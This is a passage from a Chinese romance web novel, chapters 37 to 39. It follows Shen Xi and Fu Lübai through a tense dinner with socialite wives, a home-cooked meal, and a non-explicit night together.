带着些歉意的说:“实在是抱歉,忽然有个应酬。”
沈晞自然理解,改天也行,刚要说在前面地铁口将她放下时,傅律白却又说:“陪我先去凑合一顿?改日再补上你这顿?”
沈晞侧向窗外,做好起身离开的身子又转向了他,心中有那么几秒淌过复杂的情绪,而后便又应了。
反正去哪里都是吃饭,正好她饿了。
到了地点,看着桌上琳琅满目的各色食物,沈晞便越发的好奇,他今日原本是要带自己去哪里,这种都要被他称作为“凑合一顿”,那个究竟是怎样色香味俱全的,她开始越发的期待。
甚至在想,哪怕她和傅律白没机会再一起去吃,她也要等会儿问一下究竟是哪里,是不是需要提前走内部人
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情预约,好到时能自己去。
但她也没忘记这顿,把自己好好的喂饱,别看在大A那里没什么体力劳作,只是先了解,但也挺消耗能量的,她这会儿是真的有点饿。
她吃的大大方方,不知怎么引起桌上其他女眷的鄙夷,就像是觉得她没见过东西吃过东西一样。
难道只像她们喝喝茶小口小口半天不吃完一块小糕点,就是优雅的,就是好的么?
沈晞浑不在意她们的眼神,自顾自地又夹了快肉,有点像锅包肉的味道,但吃起来味道更柔和丰富了些,她还挺喜欢的。
在场坐着的,都是家世不凡的正宫夫人们,在她们的视角里,自然将沈晞看成了外面的那些莺莺燕燕,不然看不惯,甚至觉得怎么配和她们坐在一张桌子上,说起话来自然夹枪带棍。
坐在沈晞左手边第三个,穿着黑色的礼裙,年纪看上去并不怎么大,挺多也就比沈晞大上个两三岁,头发却被高高挽起,精致端庄可看上去却并不怎么符合她的年纪,像是个精致的被按在套子里的人,忽而冲着旁边人开了口,“听说了么,李家那个公子快要结婚了。”
旁边的太太们自然应声,“李家公子?今年也有三十了吧,是该结婚了。”
在他们这个圈子里,到了年纪被家族安排个婚姻,是在正常不过的事,像是不知哪里值得被提起。
黑色礼裙的年轻少妇又说:“当时不是有位空姐,借着在头等舱为李家公子倒水时,刻意制造了几次意外。”
她这样一说,所有人便想起了这段茶余饭后的笑闻,有人带着几分鄙夷的说:“是喽,也是有些手段,打得火热几年,让李家公子念念不忘的。”
“那又怎么样,不还是该结婚结婚,以为缠上几年,就真能嫁进来。”
说到这,桌上的人都若有似无别有深意的看向沈晞。
有人又问:“那现在那空姐怎么样了?”
黑色礼裙轻笑,带着几分嘲讽的说:“还能怎么样,一哭二闹三上吊的闹呗。”
众人没再说什么,好像这样的戏码已经看过了无数次,带着股高高在上的预知般的傲慢与不屑,也都或多或少的不经意对沈晞展露了出来。
是不是,在某一天,她也会成为她们这样茶余饭后中的一员,沈晞在心里冷笑了下,又夹了块刚刚那肉,漫不经心的说:“那这姑娘,也不怎么聪明嘛。”
黑色礼裙不屑道:“是不聪明,聪明谁还会往这里淌一脚,以为真爱能动天啊,幼稚又可笑。”
坐在一旁,一直没怎么说话,年纪少大她们一点,大概三十多快四十的夫人稍有了些兴趣的问:“哦?要是聪明的,会怎么办?”
“要是聪明,那当然是,趁着火热的时候把这李家公子当做登云梯,努力结交各色权贵,攀着他往上爬,最后再把他一踢,到时候谁在求着谁仗着谁,可就不一定了。”
她这话一出,桌上的人顿时脸色有些古怪,或许也有人觉得她天方夜谭,但她就是看不惯,看不惯这群人字里行间里的高高在上,像是觉得金字塔结构早已稳定永不会倒一样。
沈晞没再理她们,将碗中的那块肉放进嘴里,已经凉了,带着股冷硬的油腻,让她怎么都咽不下去。
就在这时,傅律白和人应付完走了过来,他这样洞察秋毫的人自然能看出桌上的氛围有些不对,他自然的站在她椅子后,手贴在她背上,微微俯身像是问她吃没吃好一样随意道:“怎么了?”
沈晞嘴里那块肉实在是咽不下,也不勉强自己,抽了张纸巾来掩嘴吐了出来,裹在一旁,冲着他笑道:“听了个笑话。”
“哦,”傅律白像是来了些兴趣,“好笑么?”
“不好笑。”沈晞说,“听了个状似攀龙附凤的故事,但是烂尾,我就说,要使劲借着这层关系积攒人脉,把人脉变成自己的,才算是个合格的结尾,拘泥于情情爱爱的算什么,你说是不是?”
本来她直接讲话挑明,桌上的人以为她是有恃无恐,甚至有人想拆台,问她敢不敢将后面如何将这登云梯踹开说出来,没想到她竟然自己说了,她是疯了不成?
谁知傅律白却赞同的笑了笑,甚至觉得她聪明般带着几分赞赏和骄傲的说:“茜茜说的对,既然不好笑——”
他说到这,顿了顿,抬眸扫了眼桌上的人,再不见刚刚的温柔,眼神很淡,却带着股无形的威压,压的桌上惯是见惯大人物大场面的夫人们都具是呼吸一窒。
却也只一秒,便又收回了视线,再次对着沈晞声音温和浅笑道:“就不听了,走了。”
直到人走后,桌上的人才松了口气,有些面面相觑,又有些回不过神来。
而那之后,桌上的这些人,接二连三的都再未陪同过丈夫出席过任何重要的席会,更未在傅律白和沈晞面前出现过,不但如此,她们的娘家与夫家无论是在政界、商界亦或是学术界都受到了不大不小的冲击。
当然这都是后话。
而此时,奔驰车在路上疾驰着,傅律白看了眼时间,与沈晞商讨询问着,“太晚了,先回我那里?”
38. 第 38 章
吃饭的地方和她住的确实是两个方向,离傅律白那里更近一些。沈晞并没怎么抗拒的便答应了,两人的关系此时也算不上什么纯洁,她也并不用矜持做作些什么,况且她并不排斥这样的亲密接触,甚至很喜欢,也不知这样的关系能维持多久,甚至谈不上维持,维持,需要至少一方是努力的,但目前看,她和傅律白都不会,全凭感觉,或许下一秒那若有似无得连接就会断掉,从此一个向南一个向北各归各路天涯不复相见,所以倍加抓紧机会才对。
但她今日,确实没了什么情绪,刚刚的那些话多少还是对她有些影响,两个人只是窝在沙发上,看了一部电影,随着电影过半自然而然的各自调整着舒服的姿势而靠在了一起。
傅律白大概对这种事,也是个很讲究情绪和氛围的人,毕竟他向来挺讲究,也并没做什么,只是环住她大概将她当成个放手的好物件,不过她也不亏,靠在他怀里是个非常符合人体工学的靠椅。
她边看电影边思绪翻飞的想,怎么就没人能研究出这么一款仿真椅呢,多舒服啊,绝对能大卖。
沈晞一边为行业不思进取而大失商业市场而惋惜,一边又为自己的才能妙想无处施展使得市场乃至全人类少了应有的享受而可惜,同时又觉得,傅律白这里的投屏不错,又大又清醒画质还好还不费眼,就是没什么好看的电影,全是联网的那些,大概是别人给弄好就没看过,真是浪费,如果有可能,把他之前从给她的那九十九部收藏碟片抱到他这里看好像不错。
说来也是好笑,两个人认识很久,关系也……算是不错,她是说,哪怕是之前他们还很纯洁的时候,但她从来没来过傅律白这里,只知道大概的位置。
没想到他一直住在酒店里,看摆放的物件和衣物,应当是久住,而不是为了麻烦随便带她来了一处,不过就算是她倒是也无所谓,本来她就是仗着人生得意须尽欢才走上了这么一程,也从未想过以后,毕竟她还年轻,要什么以后。
但她还是很好奇,后脑勺抵着他的肩,视线还是落在电影上的,一心二用的问:“你怎么住酒店啊?”
虽说京市寸土寸金,但傅先生想买上一套合心意的房子,还是很简单的。
“早些年一直在国外,也就偶尔回来探亲时来京市住上几天,买套房子还要经常派人打理,我嫌麻烦。”酒店便方便的多,长期订着,随时来随时住。
傅律白解释着,又想到了什么,摸了摸她的头发说:“你要是喜欢住家里,喜欢什么样子的风格和地界,跟我说,我叫人安排。”
沈晞正想着,难怪那么多明星或者大老板爱住酒店,看来还是有些道理,没想到却把话题转向了自己,她几乎下意识的说:“你住哪儿跟我什么关系,拉上我干什么?”
傅律白说完也觉得自己太快了,实在是现下的氛围太过松弛,让他话赶话的便问了。实在是有些过份,像是才怎么样,就拉着人家女孩子同居。
可是她的反应却不像作假,不带任何不好意思亦或是小女孩的恼羞成怒,她是真的惊讶。
傅律白看着她好笑的问:“怎么就跟你没关系了?”
他的语调里带着理所应当的笑意,浪迹名流圈的傅先生果然很会讲情话,沈晞也带着应有的欣悦冲着他笑了笑,只不过在转身看向屏幕电影时,眼底却没有任何的笑意。
好听的话听听就好了,讲得人未认真,听得人要是认真了,那就太可笑了。
沈晞便就这样睡着了,其实她这段时间一直睡得不怎么好,等她醒来时已经是在二楼的床上,连她怎么被傅律白抱上来的她都没记忆,她有些神色复杂的看着身旁揽着她睡得男人,她竟然能睡得这么死?
可紧接着,她又意识到,这里有电梯么?他不会就这样,抱着她一路上的楼梯吧?
她多少对傅律白的力量有些惊讶,她怎么也是个快一百来斤的人了,他就这么抱着自己上了楼?抱人上楼的难度和平地走还是不一样的,他看上去也不怎么壮啊。
想着,她的视线不由得向着他的腰看去,傅律白是那种清瘦但不单薄的体型,但同时她又很快的想到了那日,他劲瘦的腰和紧实流畅的肌肉线条,以及宽而硬邦邦的胸口,她当时靠在上面,只觉得哪里都硬硬的……
停下!
沈晞勒令着自己不要再想下去了,况且这里也实在不适合想这些,她慢慢地蹭到了床边,翻身下了床,连鞋子都没穿——虽然她床侧这边已经被贴心的放有一款崭新的女士拖鞋,大概是傅律白和酒店要的。
没想到昨晚他将睡得死沉的自己弄上来后,连这些都想到了。
虽然一直知道傅律白是个很妥帖的人,但还是会为他每一次的细节而感到惊讶。
但她还是蹑手蹑脚的走了出去,毕竟人家大半夜辛苦把自己运上来都没将自己弄醒,总也不好早上反过来把人家吵醒。
但其实,究其原因,她知道,其实还是因为在这样一个睡醒的清晨,面对他时还是有些尴尬。
等她抱着衣服走出卧室,下了楼时,才松了口气。
大概是怕她睡得不舒服,傅律白将她的外衣脱下来,放到了一旁,她并不觉得有什么,反正、毕竟,大家也已经坦诚相待过,又可能怕吵醒她,所以并未再帮她上一件勉强能睡觉的衣服。
她就这样将衣物抱到了楼下,她不是呼风唤雨的傅先生,自然不能在别处过夜后,还能有干净的衣物穿,此时她已经下完最后一阶楼梯,正扶着扶梯套衣服,视线那么一瞥,忽然就看到不远处的沙发上,放着被熨烫好的叠得整整齐齐的衣物。
“……”
沈晞神色复杂的走过去,是她平日惯穿的牌子,也很符合她平时的审美与口味,她心口忽地划过一抹酸涩,虽然早已被他细细密密的照顾过,可此时的周到与细节,说不动容是不可能的,可这份温柔却不会永永远远的属于她。
她揉了下发酸的眼睛,换上了衣服,出了傅律白家的门。
之后的一段时间里,沈晞都在大A那里忙着,有一个新的项目大A放权让她全程跟着参与,傅律白约她也不怎么出来,傅律白坐在一家烤鸭店里,手机过了两个小时后才轻微震动了下。
[忙,再说吧。]
傅律白看着上面不走心又干脆利落的拒绝,眸色微沉。
“怎么了?这片肥瘦不够好?”程开霁一边问着,一边自然接过旁边人递过来的鸭肉卷。
旁边是为长得顶富贵又艳丽的姑娘,皮肤白皙明媚皓齿,穿着白色挂脖褶皱吊带,努着嘴冲着他骄纵的笑,“你帮我卷半天了,我服务你一下啊。”
明明是骄纵的语调,可两个小梨涡微微浮现笑起来甜甜的,明显是活得很没什么烦恼的姑娘。
程开霁也自然而然的笑,笑着将那卷的不怎么规整的鸭肉卷一口吃进嘴里。
这就是傅律白的表妹傅望舒,也不怎么就爱吃京市的烤鸭,每次来都要先吃上一顿,傅律白叫沈晞来也本想是坐在一起吃顿饭见一见,没想到那姑娘拒绝的真干脆。
不过他说时,也没明说表妹的存在,怕她会多想亦或是不自在,只说朋友们吃个饭。
但茜茜小姐大概谁的面子也不卖,也不知她是在忙些什么,这段时间叫过几次,都只说忙。
到底是真的在忙,还是别的什么?
傅律白看着平日里骄纵的表妹,此时都能用着做的精致又复杂的长指甲给人卷肉卷,虽然有着筷子的帮忙,并且卷的乱七八糟,但他还是不由的想。
恐怕也只有她,敢这样放自己鸽子。
“哥,你想什么呢,怎么不吃啊?”一旁的傅望舒看着他一直坐着没动,在吃的开怀的间歇忍不住问。
“在想蒲公英。”傅律白垂眸,唇角带着抹不明显的弧度说。
“蒲公英?”傅望舒奇怪的问,蒲公英有什么好想的?这个季节有蒲公英么?
程开霁也不解的看向他。
但傅律白没再继续讲话,只夹起一旁的鸭皮蘸了些白糖又吃下。
美丽,又自由随心随意的飞到各处,不受一点控制,却又撩的人心痒,可不就是蒲公英么。
然而这样的举动又让旁边的傅望舒震惊了,她哥什么时候爱吃个这样甜的啊?
但转念又想,她哥向来哲学,当年去国外时还辅修过,一定暗含着他的哲理。
傅律白当然不怎么爱吃甜,但沈晞喜欢,味道确实不错,即使是现在,他竟然还是下意识想着有时间带她来吃。想完,又兀自的生气,将筷子放了下来,在没人察觉中,和自己较着劲。
沈晞却像个没事人一样,过了几天后主动给他打电话过来,活力满满的说:“我忙完啦!”
像是什么也没发生过,也没冷他几天过一样。
傅律白竟然也在那一刻,烟消云散般下意识说着,“那我去接你。”
等挂了电话,又反应过味来的愣了下,随后又兀自轻笑的摇头,自己怎么越活越幼稚,和她一个小姑娘计较什么,难道还真要还过来,也冷她几天不成。
傅律白知道,以她那个脾气,别说几天,也就半个小时,她都能收拾好行李走得干干脆脆无影无踪。
这种事情,她向来擅长。
车子才停稳,沈晞便钻了进来,急匆匆的问他,“去吃什么?”
像是很饿。
傅律白却卖了个关子,“等会你就知道了。”
反正傅律白带她去的地方从未让人失望过,沈晞尽情的等待着。
确实没让人失望,车子开着开着,一直开到了家里,傅律白换好了一身家居服,下来洗手,然后走进了厨房。
并且已经站在了案板前,看那个架势……
沈晞有些不可置信的看着他问:“你不会要自己做吧?”
她还是觉得他只是摆摆架势,可能早就已经打包好放进了冰箱里,他只是拿出来用微波炉、或者更高级一点的蒸锅加热一下而已。
可下一秒,傅律白却冲着她轻挑了下眉轻笑了下,用实际行动告诉她答案。
沈晞的眼睛都不由得睁大。
她怎么也没想过傅律白会做饭,就在她震惊到愣神的时候,傅律白已经操作了起来。才发现案板上,又早就已经处理好的食材,不知是他提前弄好,还是买的现成,亦或是让人给处理好的。
几乎是看到食材后,她便猜到他要做什么了,是腌笃鲜。
这道菜其实并没有太高的技术含量,胜在食材,但她还是很震惊,傅律白这样子的人竟然会做饭。
他不是应该含着金汤匙出身,衣来张手饭来张口么?
傅律白已经开始给小排和咸肉焯水了,虽然动作有些慢,但却有条不紊的知道步骤,看样子是真的会做。
“你竟然会做饭?”她追在后面,终于忍不住惊讶的问。
傅律白一边将食材捞出来,放进一旁盆子里冲冷水,一边和她讲,“当时在美国时学做
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的。”
他抽空侧了下头,看着她仍是很费劲的表情,“很意外?”
沈晞点头,“你在国外也应该不缺一堆人伺候吧?”
她说着的同时,脑子里不由的很俗的浮现出那种穿着粉色围裙的国外佣人,就像影片里演的那样。
哪怕在国外吃中饭相对不容易,但傅律白就算是想找齐八大菜系的名师傅也是很方便的,她甚至下意识觉得应该理所应当。
傅律白却同她解释,“当时我的哲学老师告诉我,不能纸上谈兵的虚浮与表象,你得静下来得融入生活,”
旁边的水仍旧滚沸着,冒出白白的水汽来,他说着的同时,冲她招了招手,“你看这水雾,是不是很让人心静?”
确实,有一种莫名的安稳感,沈晞看着不自觉认同。
但她此时一个头两个大,问题一大堆,“不是,你不是学历史的么?怎么又有个哲学老师?”
傅律白将所有东西都沥干水分后,又取出了一个汤锅来,沈晞趁着这个间歇又走神的想,东西还挺齐全,难怪那么多人爱住酒店。
傅律白便讲,“学史明鉴,可学来学去还不是人的博弈,我便读研时转了专业学了心理学。”
沈晞眼睫微垂,神色有些复杂,难怪和他相处时会那么的舒服,他是不是也将这些个心理学与人打交道的方式,用在了她的身上?那究竟,又会有几分的真心,他所展示出来的,其实是不是,只是他想让她感受到的?她在他面前,是不是近乎透明的被一眼看穿?
她的心不由的微微往下沉。
傅律白又说:“可学来学去,人与人博弈到最后,也不过是世间万物的哲学所在,所以我又辅修了哲学。”
他看出面前的人神色微飘,有些若有所思,“在想什么?”
“那你、你会催眠么?”沈晞故作轻松与玩笑的问,可眼底一闪而过的不安与闪躲还是被傅律白捕捉到。
他带着几分安抚般的轻笑,“觉得我很可怕?会将你看穿?”
“——!”这就话就像是验证,让沈晞的瞳孔微缩。
“心理学初期不过是了解人、了解自己,以及与人相处的根本,我学的很浅显,再深的也与我没用,我没办法将人看穿,顶多只是会多几分洞察,”傅律白说着,安抚般的轻摸了下她的脸颊,“就像,我连当初你喜欢我,我都没看穿。”
他的手微凉,还带着些水汽,他后面的话却让沈晞的脸骤然热了起来,降不下去,没想到这样隐秘的心事就被他这样直白的说出来,可她偏偏又没办法反驳,都怪那日喝酒误事的间接承认与告诉他,但她没想到他会直接摆在台面上。
这样,岂不是让她明晃晃的矮他一头。
本来他们的关系、身份地位、与感情都是不对等的。
沈晞的脸色一会儿青一会儿红,“你……”
傅律白看着面前恼羞成怒的人,在她脸上安抚般的摩挲了两下,同时向她承诺着,“就算我会,我也不会将那些用在你的身上,我会尊重你。”
沈晞莫名得,被最后一句话安抚,那些杂乱不安在中心乱跳的复杂情绪被瞬间施了魔法般偃旗息鼓,她慢吞吞的“哦”了声,又思维跳跃的回到了主题上,更加奇怪的问:“那你为什么会选做饭啊?”
“那我应该选什么?”傅律白看着像是很难理解的人,好笑的问,“喝茶?钓鱼?”
沈晞快速的点头,总应该是这样高雅一点的,才符合他的人设,怎么会选做饭这种,这么接地气的方式让自己静下来呢?
“你看,你刚刚也觉得看着烟水汽很静,这其实就是人间烟火气。”傅律白用着最简单且说服人的理由,“你在准备和翻炒的过程,是参与其中的,同时又不得不思考着步骤,让脑袋没那么放空的同时又专注,钓鱼和喝茶太静了,静的让人放空后反而坐不住,”他笑着,坦白承认,“反正我当时是没那样的境界。”
所以他现在时不时的喝喝茶,钓钓鱼,是已经到了那种境界了么?
沈晞心想着,却没问。
傅律白又说:“这人间烟火气,和那些影视剧里挂在嘴边的什么出世入世其实底层逻辑是一样的。”
傅律白没在讲话,认真的将咸肉、猪小排、葱姜蒜放入锅中,又将入一大盆水。
锅气都像是给他加了一层薄薄的仙雾,好似真的入世又出世。难怪总会觉得,如果他去讲经布道她真的会信服,原来他真的有相似的储备。
她当初妄想将他拉入红尘中,喜欢看他身处人头攒动中的样子,而他此时,就穿着一身黑色的纯棉家居服,戴着藏青色的围裙,在为她准备晚餐。
彻底的坠入红尘,充满了烟火气,平凡又温暖,就像是她永远不敢幻想的梦境,美好的想让人落泪。她很想让这一幕定格,宽大又高挑的脊背,撑起一条围裙,她觉得此时的傅律白是最迷人与不易见的,看的她心口发热,让她忍不住的想要去拥抱。
可又忍不住的去想,这样的画面,这样的背影,以后又将属于谁,他又将会为谁这样耐心布置一道饭餐,陷入红尘里?
她就这样望着傅律白,像是要将他死死往进心里,在眼泪快要滴落的那一瞬间,傅律白忽然回过头,看到的就是这么一幕。
那样的眼神让他心神一震,不得不为之动容,充满了不加掩饰的爱慕与悲戚,他不知道她为什么会有这样的眼神,却让他几乎下意识地大步走向她,不受控制的想要吻住她。
39. 第 39 章
被吻上来的那一刻,沈晞愣了愣,至少他现在是真实的,他的唇很软也很炙热,却又好像,将她心口中的那块空缺瞬间填满,反而觉得更加的空了,眼泪再也不受控制的顺着她的眼角滑落进发丝里,却也只愣了这么一下,便闭上了眼睛,不甘的紧紧攀住他的脖子,像是不死不休不顾一切的回吻着他。
感受到她的回应与投入,像是一团火苗一样将傅律白脑海中的一根线瞬间烧断,让他不由得抱紧她,再次加深了这个吻,沈晞被抵到了冰箱上,这样的身高差让她有些费力,却也仍旧扬着脖子没有任何得退缩,大有刀山火海都追随的意思,脖子的酸痛与唇齿中的被攻城略池让她不由的呜咽了声。
察觉到她的不舒服,傅律白眉心微沉,下一秒直接手上用力,将人打横抱起,也不知沈晞是绝对的信任他还是真不管不顾的吻的太投入,怎么也不愿结束这样可能有今日便没明日的亲吻,自始至终都紧紧勾着他的脖子,垂闭着眉眼认真的同他吻着,是承受也是不停的回应。
在亲吻中,沈晞感受到他们在上楼梯,她一直被紧紧拖抱着,原来那日真的就是这样被抱上来,没有什么电梯,但管它,无论他现在要带她去哪里,都没关系,只有他们的吻是真实的,他的怀抱是真实的。
沈晞被他放到了柔软的床上,脊背几乎瞬间便和软床无缝隙的包裹住,有一股电流瞬间从脊背一路向下,让她不由的弓起脊背,脊背紧绷,手上抱着傅律白的脖子也更加的紧。
傅律白却以为她是不让自己走,边吻着她边将她往上面带,带到床头时,又轻吻了吻她的唇角,含糊的带着几分商量和轻哄的说:“我拿个东西。”
沈晞已经被吻的晕头转向,没听清他在说什么,他的声音都像是隔着薄薄的一层罩钟,只能知道他在讲话却不入脑,只是闭着眼,微微扬着下巴下意识地想要吻他与被吻。
“嗯……”
直到不适传来时,她才明白他刚刚说了什么,眼泪不由的被激出来。
傅律白没敢在动,俯身过来亲她的眼睛,哑声问:“很疼么?”
沈晞没办法形容自己的感受,只是眼泪不自觉的往下滴,傅律白觉得自己在欺负她,带着几分心疼与怜惜的慢慢轻吻她的眼睛、鼻尖和唇。
直到她慢慢地适应,才慢慢地进行下一步。
沈晞头顶的灯出现了重影,面前的男人也时远时近,时而清晰又时而模糊,也不知道汗水还是泪水进入了眼睛里,她却也不管,只易错不错的盯着面前的男人,要将他看清,看清他每一个细节与表情,像是看一眼就少一眼。
有细汗微微打湿他额前的碎发,让他向来整洁到有些一丝不苟的头发变的凌乱,他向来淡漠的眼睛也因这氤氲而变得水润与漆黑,真好看啊。
沈晞的泪同着一声闷哼一起下来,像是交织在一起,又不分先后。
……
沈晞懒洋洋的趴在床上,连一根手指都懒得动,傅律白的胳膊似搂似抱又像是搭手的横在她的腰上,两人就这样贴靠的腻在一起,慵懒的感受着未散的余味。
过了会儿后,傅律白用纸帮她简单的清理了下,她仍是保持着那样的姿势一动不动,瘫在那里,像是没了一点力气,傅律白捏了捏她的手指,“带你去洗澡?”
说着,横在她腰上的那只手便环住她的腰,一用力就要将人打横抱起。
“不要,你自己先去。”沈晞拒绝着,说着,还不着痕迹的悄悄扯起旁边的被子来给自己盖住。
刚刚情绪到了,怎么样的接触,怎么样的坦诚相待都行,但现在、就这样,她又会变得尴尬和不自在,就连刚刚他帮她清理时,要不是实在没力气反应不过来,她都有点接受不了。
傅律白轻挑了下眉,“你究竟是没力气想再躺一会儿,还是不好意思?”
啊啊啊啊他怎么可以那么平静的问出前一句这么让人羞耻不好意思的话来的啊!
见她不答,傅律白轻笑,“你要是想再躺一会儿呢,我就陪你在躺会儿,你要是不好意思——”
沈晞那双被水氤氲过的玻璃珠般的眸子,更加的亮了,湿漉漉的看着他,像是想听他怎么说。
这样躺着,她其实也有点……
傅律白闷笑了声,像是觉得她这样格外有趣,下一秒却忽地一用力,连人带被子的将人裹紧怀里,“我这样抱你进去。”
这个姿势,他的唇几乎贴在她的耳边,声音贴着耳朵传来的,几乎没有经过空气的传导,听起来不太一样,酥酥麻麻的,然后就听着他贴着耳边低声又补充了句,“去清洗下,不然对身体不好。”
沈晞脸一下就红了,说的就好像是她想要留着一样。
说着就要爬起来下床,但她裹在被子里,也没想到自己的胳膊腿能软成这个样子,就爬了一下,直接跪在了被子里,像个软乎乎的小蚕蛹。
“……”
傅律白看着她的表情,也没笑,怕刺激到她,保持着平静像是什么都没发生的表情直接将人连着被子一起抱起。
沈晞闭着眼睛,将脸蒙进了被子里,不再挣扎。
傅律白将人直接抱进了浴室里,放到了马桶上,还十分贴心的又询问了一遍,“需要我帮忙么?”
沈晞回以皮笑肉不笑的微笑,“不用,谢谢,请帮我关上门。”
“好的。”
关门声响起。
沈晞才抱着被子无声崩溃——
啊啊啊啊啊啊啊啊!
傅律白去了客房的浴室里冲了个澡,脸上是难得外露的慵懒与欢愉,忽然,手机在这时响起,他不紧不慢的走过去,看到上面地区来自德国时,他的表情微凝。
接听后,那边不止说了些什么,他懒散愉悦的眸子渐渐沉了下来。
也不知过了多久,沈晞走出来,见到的就是这么一幕。
夜幕下,落地窗旁,傅律白穿着黑色绸缎浴袍,腰间的带子松垮垮的系着,头发吹得半干不干额前碎发有些长的,微微遮挡住了些眼睛,看上去有些潇洒落拓,可整个人的气质还是稳得,手上竟然拿了支烟,轻轻吸上了一口,过肺后,又慢慢吐出口烟雾来,他的面容在烟雾下变得朦胧又神秘,像是与身后像是永无白日的夜融为了一起。
深沉,宁静,又神秘。
过了很久之后,沈晞回想起来,都会记得这个画面。
实在是太过震撼与震惊。
“你竟然抽烟?”这个认知甚至都让她将那些个事后不自在的情绪暂时搁置一旁。
傅律白似乎听到声音,才知道她来了,眸色微抬,将烟从嘴中拿开,轻挑了下眉,“怎么,茜茜小姐不值得我抽一支?”
抽一支什么?
抽一支事后烟。
沈晞反应了过来,脸色顿时僵住有些窘迫。
啊啊啊啊他怎么可以一本正经的说这样的话的啊!
他、他明明不是这个样子的。
“我、我是说你,你竟然会抽烟。”她又羞又恼舌头有些打结的说。
傅律白轻扯了下唇角,眼底却不见什么笑意,“这又不是什么难事。”
“我从来没见你抽过,也没闻到过什么味道。”说话间,沈晞已经走近。
“我极少抽,也没有烟瘾,只是觉得,此时应该抽一支。”他直直地看着她,轻笑了下,烟雾散去,眼底全是温柔,“才衬得上茜茜小姐。”
沈晞的心在这一刻,又不受控的被击中,觉得他这一刻,格外的性感与撩人。
傅律白边说着,边侧身想要将烟按灭,怕呛到她。
下一秒,手中的烟却被不轻不重的力道拿走,沈晞看着此时夹在自己指尖的烟,又看了眼傅律白,她很好奇,他口中的烟是什么感觉。
她将烟慢慢的咬进口中,可视线却一错不错的看着傅律白,带着几分好奇与迷离的茫然。
这样的眼神,傅律白在不久前才刚刚看过,脸被汗水与泪水浸透时,她也是这样看着他,迷离又微微上扬的眼尾,像是带着钩子一样的勾人。
傅律白的眸子不由得深了起来,喉咙微痒,垂眸看着她。
她殷红的唇齿微张,烟雾弥漫在他们两人之间,她姣好的面容时隐时现,可那微张的殷红柔软的唇却格外的清晰,就像是邀请。
沈晞被呛的轻咳了声。
傅律白却眼神沉的快要滴出水来的,扣住她的头,狠狠吻了上来,她未吐出来的那余半烟雾便渡进了他的口中,一同分享着。
那剩下的少半根烟,便在沈晞指尖一点点燃尽,她在傅律白肩上乱抓时,还没习惯的掌握好分寸,烫了他一下,被他微躲后,抓住了她的手腕,就那样举着。
莹莹的猩红光亮像是蜡烛为他们助兴,直到燃尽,沈晞的胳膊举得有些酸时,这个吻才结束。
自始至终,哪怕傅律白被烫到,也没影响这个吻。
至少这一刻,沈晞觉得他们是一样的,无论发生什么都不想结束亲吻。
沈晞觉得,烟得味道并不好,但这个吻的味道她很喜欢。
等接完吻后,沈晞轻扒拉着刚刚他烫到的地方,衣服被烫的有些皱了。
“没事吧?”她边扒拉着衣服想看里面,边问,看不太清,又拉了拉他的一领口,睡袍本就松垮垮的系着,这样一拉轻易的便露出了他半个肩。
然后她便被自己看到的惊呆了。
傅律白是个没怎么受过人间疾苦的大少爷,皮肤也自然是白皙光洁的,但此时圆润光洁的肩膀着,全是纵横交错的抓痕,有一道甚至还在有点微微冒血,在这杂乱交错的划痕下
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,那微微烫红了的一个小圈,竟然显得无关紧要了。
傅律白垂眸看着她,唇角竟然还带了些笑意,像是在欣赏她看自己杰作时的表情,又像是打趣的反问:你说呢?
沈晞简直说不了,也没眼看,甚至不敢和傅律白对视,只垂着头瓮声瓮气细若蚊呐的问:“要不要上点药啊?”
而后,便听到傅律白极致欢愉的闷笑。
“可不能,茜茜小姐的杰作我得好好留着看,上药好的多快啊。”
沈晞恼羞成怒,那点事后本该有的不好意思或者羞赧此时全变成了张牙舞爪,“我用不用再给你找个加深疤痕的药再给你涂上啊?!”
傅律白好像还真认真思考了下,饶有兴致的说:“也行,你有么?就当留纪念呢。”
说完,他还眼尾微垂的轻笑,笑的有些风流与落拓,就好像,真的已经想到了那个画面,以后日日身上都有这么一通痕迹。
纪念什么?
初|夜么?
也不怕以后得老婆看到后乱想么?
她是没有这东西,又觉得这剧情有些熟悉。
想起来了,是《倚天屠龙记》,可她究竟是珠儿呢还是赵敏。
大概是珠儿吧,那可真不是什么好结局,被人划花了脸又死无葬身之地。
沈晞一直觉得这才应该是珠儿的结局,周芷若全局安排的那么稳妥又怎么会给珠儿留口气不再探一探,明明只是一顺手的事。
还有后面,不过是金老爷子的手下留情。
可就算还有后面,她和增阿牛的结局,也不过还是相忘于江湖,从此他也只是张无忌,再也没增阿牛。
因为这个,哪怕经过巨大的消耗虽然没吃晚饭的沈晞也没了什么胃口。
她看着面前的猪肚鸡,才想起两个多小时前,两个人的荒唐,也幸亏这是煲汤禁躁,才没出什么事故。
她可不想失了火,被人找进来,发现两个人竟然是在上面干着这种事,而上社会新闻。
那样,就太人尽皆知了。
但是还是烧得有些干,慢慢地一锅汤,只剩下不到三分之一,大概这还是她去洗澡时,傅律白才想起来关的,又或者,是他洗完后才想起。
看着这干干有些蔫的竹笋,沈晞那点羞耻又慢慢烧了起来。
傅律白却十分自若从容的为她盛了一碗,浅笑着说:“抱歉,丢了水准,没能让你吃尽兴,我认识一家老字号的老师傅做腌笃鲜十分有一套,等改日带你去,赔这一顿的罪。”
吃什么尽兴?
尽什么兴?
她见到他到现在,可只吃过哔——
沈晞面无表情的舀了口汤,下一秒她眼睛微微睁大,竟然出乎意料的鲜。
她又吃了块小排,炖的十分的软烂又入味,明明本来没有什么胃口的她,顿时间食欲大开了起来,最终,也不知是她饿了吃什么都好吃,还是傅律白做的所以她觉得格外的好吃,亦或是傅律白找来的都是极其新鲜优质的顶尖食材,又或者是得益于、中途的那件意外插曲而让汤炖煮的时间更久,所以歪打正着的格外好吃,反正沈晞足足吃了两大碗才餍足的靠在了椅背上。
饭饱喝足,人就会变懒变困倦与迟钝放空,进入贤者模式,连情绪感知都变得微乎其微就觉得自己是一瘫,所以她平静的没有心理负担的躺到了刚刚的床上。
也就发现,床单被套被换过新的后,顿了那么一下,又“那么一坨”的躺在了那儿,然后微微惊讶的也只有傅律白竟然还会换被套呢,连她自己换起来都有点狼狈。
不知道他换起时,是也如他平时那般从容,还是也很狼狈,那是个什么画面呢?
无论哪个,都似乎很难以想象又有趣。
下次他再换时,她一定要在旁边看,不过,还有下次么,她还能看得到么。
傅律白本想问她,还要不要看个电影,时间不算早但也不晚,才十点钟。他这个卧室里,也有个投影,但从来没用过,不过看她眼神木木有些发离,大概是不用了。
怕将她的困意吵醒,只轻声问她,还用不用等。
